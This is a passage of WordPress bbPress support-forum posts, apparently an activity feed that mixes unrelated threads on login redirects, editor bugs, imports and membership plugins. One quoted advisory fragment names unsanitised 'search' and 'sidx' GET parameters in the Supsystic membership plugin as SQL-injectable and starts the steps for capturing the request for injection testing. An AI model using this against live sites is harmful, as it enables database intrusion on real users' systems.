Robin you son of a wordpress god! That works!! haha amazing – please let me know how to send you some money 🙌

[Robin W]

@mike80222 – I’m trying to find time to think about this, but in the meantime 2 thoughts

1. the default for 5.6 issues is to install

Enable jQuery Migrate Helper

2. bbpress only has a text editor as standard in front end , so how are you doing the visual editor you are switching to?

[bamadale]

Three weeks ago after completely updating WordPress to 5.6, php to 7.4 and updating all of our plugins, we are experiencing some intermittent yet serious (to those paying for their memberships) login / redirect issues.

website: 1standtenflorida.com
WordPress 5.6.1
PHP version: 7.4.15
bbPress Version 2.6.6
BuddyPress Version 7.1.0
OceanWP theme V

Normally, the user comes to our website at 1standtenflorida.com and they are able to login just fine and view the News pages, Big Board, etc., but when they go to the Forum and try to click on a single topic, it redirects them back to the Login page. However, the Log In page shows them as “You are Logged in as “username” (Logout) (click Remember Me checkbox to stay logged in) and there is not a username and password box.

The problem troubleshooting it is, the errors are cross devices (iPhone, Samsung, laptops, desktops, iPads), cross browser (Chrome, Safari, Firefox, Edge) and cross platform (iOS, MacOS, Windows, etc.). I would note that it seems to be more prevalent on mobile devices but then again, that may be because the majority of our visitors are on mobile devices. 🙂

It doesn’t always happen on every topic either and it can happen on different topics with different users.

I’ve had some success working with individual users to log them out from the Dashboard or reset them a new password. We’ve had them to clear their browser cache and cookies, but only in one or two instances has that helped.

We’ve deleted any plugins that we were using to prolong logins as well, just in case they were outdated.

I have not deleted the .htaccess file yet and let it rebuild and was hoping that might not be required. Any suggestions on how to proceed with troubleshooting this will be greatly appreciated!

Hi @robin-w,

Just bbPress. It’s my MemberPress, bbPress, BuddyPress “test site.” We generally don’t upgrade anything until testing it here first. I’m not upgrading WordPress on our real sites because of the editing bug. I do everything in text mode!

If seems like (with WP 5.6.1) when you start editing a post in text mode, there’s no echo. If you switch to visual, the text is there. Some other weird thing seem to happen, but those are hard to pin down.

AFAICT I don’t have any other plugins that should be involved.

NOTE: FOR ME THIS ONLY HAPPENS ON MOBILE DEVICES, but I don’t really know if it’s mobile vs desktop or one browser vs another. I’ve read that the basic WP bug is browser dependent.

From my perspective, it’s just one of the reasons that I’m not updating WP, so it’s not big deal in itself, but I am curious that (if I’m really seeing what I think I am) that it’s not been reported more!

[Mike Witt]

If they are using WP 5.6.1 and posting in text mode, I wonder if it could be the same thing I’m seeing here:

WordPress 5.6.1 bug affects forum text editing mode?

[John James Jacoby]

This is the default behavior of bbPress. Unless a plugin already provides a simple modification of this behavior, the easiest way to customize this would be by overriding the /bbpress/form-reply.php template part in your WordPress child theme.

[xprojectsx]

I’ve been going over this for days trying to import forum using the Example importer. Everything works but after importing about 300,000 records, all of the authors are incorrect after the import. I did a fresh install of WP and tried again but got the same results. I ran the bbpress tools and this made no difference.
A lot of the users show as “Anonymous” but the rest are just pointing to the wrong user id. So the Topics/Replies just show as from the wrong user. I tried working around this by going into the source data and giving all of the user ids there a very high numerical value but even after doing this it made no difference. WordPress still assigns seemingly random userids to all of the imported users.

Hello again?

@robin-w

I thought of this problem as “bbp style pack”
Because when a problem occurs, the error is “bbp style pack” error.
this support link

I just updated the bbp style pack, but bbpress still problems
I don’t think it’s a “bbp style pack” problem
(Because no error occurs after update)

I’m worried because no error occurred
First, I’ll try to disable the plugin one by one according to your guide and test it.

I will also install the “Health Check & Troubleshooting” plugin.

Thanks

Best Regards,
Hyunho

[Robin W]

works fine on my test site – I can only suggest it could be a theme or plugin issue

Themes

As a test switch to a default theme such as twentytwenty, and see if this fixes.

Plugins

If that doesn’t work, also deactivate all plugins apart from bbpress and see if this fixes. if it does, re-enable one at a time to see which is causing the error.

If you cannot do this to your site (say because it is live) then use the ‘troubleshooting’ features of this plugin to let you test without affecting other users

Health Check & Troubleshooting

Then come back

[Robin W]

if you’re happy using bbpress templates, then grab the version from my style pack plugin

bbp style pack

it is in

plugins\bbp-style-pack\trunk\templates\templates1\loop-forums.php

it should work if you just copy it to your child theme’s bbpress folder.

Alternately you can just use the plugin and once activated go to

dashboard>settings>bbp style pack>forum templates

[Robin W]

If you are happy to have a hands on approach to user registrations, then you probably don’t need a membership plugin.

As far as the bbpress part goes

forums set to public are viewable by anyone
forums set to private are viewable only by registered users

so if you set forums to private they will not appear to unregistered users, so only visible once a user has logged in. If you set not to allow anonymous posting (dashboard>settings>forums) , then only registered users will be able to post.

bbpress just uses wordpress users for login and registration with an extra bbpress parameter, so you can just use wordpress to set up users.

If you are going to have manual registration, then you turn off ‘anyone can register’ in wordpress (dashboard>settings>general>membership), and create a form using a form plugin (eg contact form 7) to let users ask to register with whatever fields you want. This will be emailed to whoever you want, who can then decide if they should allow membership.
You can then take payment manually (eg bank transfer) or via say a Paypal link on your site.

The approver would then add the user (2 minutes or less).

As far as wordpress page content then use a plugin that restricts content to registered users such as

Content Control – User Access Restriction Plugin

finally you would use

bbPress Messages

to allow uses to message each other – don’t worry that this plugin has not been updated for a while – it is stable and works

as far as I can see that would meet your requirements list.

The Plugin was (luckily) not installed. We just decided to use it, then we saw that wordpress has taken it down on their Plugin Site.

The exploit seems to be an SQL Injection.

# 1. Description

The GET parameters “search” and “sidx” does not sanitize user input when searching for badges.

Use ZAP/Burp to capture the web request when searching for data and save it to request.txt

Hi

upgrade to wordpress 5.6.1 and php 8.0.2

I wrote a new topic
When writing is completed, the following abnormal screen is displayed.

ref img1 : https://ibb.co/DbDR2vT

ref img2 : https://ibb.co/M53Lwgb

Seriously, nothing is left in nginx’s error log.
Nothing is left in the error log of php-fpm.

The topics created before the upgrade can be read normally.

This problem arises from topics created after the upgrade.

i need to help

Best Regards,
Hyunho

I wanted to create a membership site with: Membership by Supsystic and integrate bbPress for the forum part.
But this has been exploited on February 8th, so it’s no longer an option.

We wanted that:
– members can interact with each other
– the forum is only for registered members
– members need approval for registration (they have to pay first)
– some wordpress pages are only for registrated members
– all other wordpress pages are visible for everyone

All of this was achievable with the Members by Supsystic Plugin + the paid extension to limit some pages only for members.

Is there any alternative that works with bbPress? Our forum already uses bbPress and we wanted to keep it that way.

Thank you very much for any help!

This is our actual membership page on our website (idk if you need it): https://nestli-seminare.de/netzwerk/login-bereich/

Thanks!

I just test, it worked on my new testing:

WordPress version: 5.5.3
WooCommerce version: 4.4.1

On WP 5.5.3, It could call to bsp_test_email function ( includes/functions_email.php)

On WP 5.6, It could not call to  bsp_test_email function ( includes/functions_email.php)

[Robin W]

bbp style pack

once activated go to

dashboard>settings>bbp style pack>shortcodes

[Robin W]

hmmm…can only suggest that you try the basic fault finding….

Themes

As a test switch to a default theme such as twentytwenty, and see if this fixes.

This is the plugin for using shortcodes in menu – hope this helps ?

Shortcode in Menus

[Robin W]

Put this in your child theme’s function file –

ie wp-content/themes/%your-theme-name%/functions.php

where %your-theme-name% is the name of your theme

or use

Code Snippets

function change_reply_order() {
$args['order'] = 'DESC';
 return $args;
}
add_filter('bbp_before_has_replies_parse_args', 'change_reply_order');

Hi,
I am having issues overriding the css in bbpress.min.css using my child theme style.css
I have also tried the method of creating a bbpress.css in the wp-content\themes\<child-theme>\css\ folder, but that hasnt worked.

Using a parent theme and making changes in that style.css seems to work (albeit my dev server has on an older version of wordpress).

Specifically, I am trying to change the sizes of “topic type” and “topic status” dropdowns (or the font) as the text is cut off.

I’m targeting the ID #bbp_topic_status_select directly with !important and still not working.

WP version: 5.6.1
bbpress version: 2.6.6

[rickeaton]

In our wordpress site, our post page is set to Blog in the Homepage settings. We have recently installed bbPress and are setting have set up a forum page with the header “Community Forum”. This correctly displays the bbPress forum tree. However, when you navigate to a forum in the structure, you are directed to the Blog page which then display the forum. This is a problem because the page headers are different. We can’t figure out why this is happening or how to correct it. Any help or tips would be greatly appreciated.

[Mike Witt]

I *think* I’m seeing an issue with bbPress (2.6.6) on WP 5.6.1. I’ve only seen it on mobile devices. What happens is that when you start editing a post in text mode there is no echo. If you switch to visual and back to text, the text appears. I’m wondering is this is related to the recently reported bug(s) in WP 5.6.1 involving TinyMCE or editing in general.

Anybody know any more about this, or has anyone else seen a problem with mobile device text posting on WP 5.6.1?

[Robin W]

@ricsca2 – I’m pretty sure it just uses the wordpress default excerpt length, which you can amend – see this for 3 methods

How to Change The Default Excerpt Length In WordPress

if this works, please post back so we know 🙂
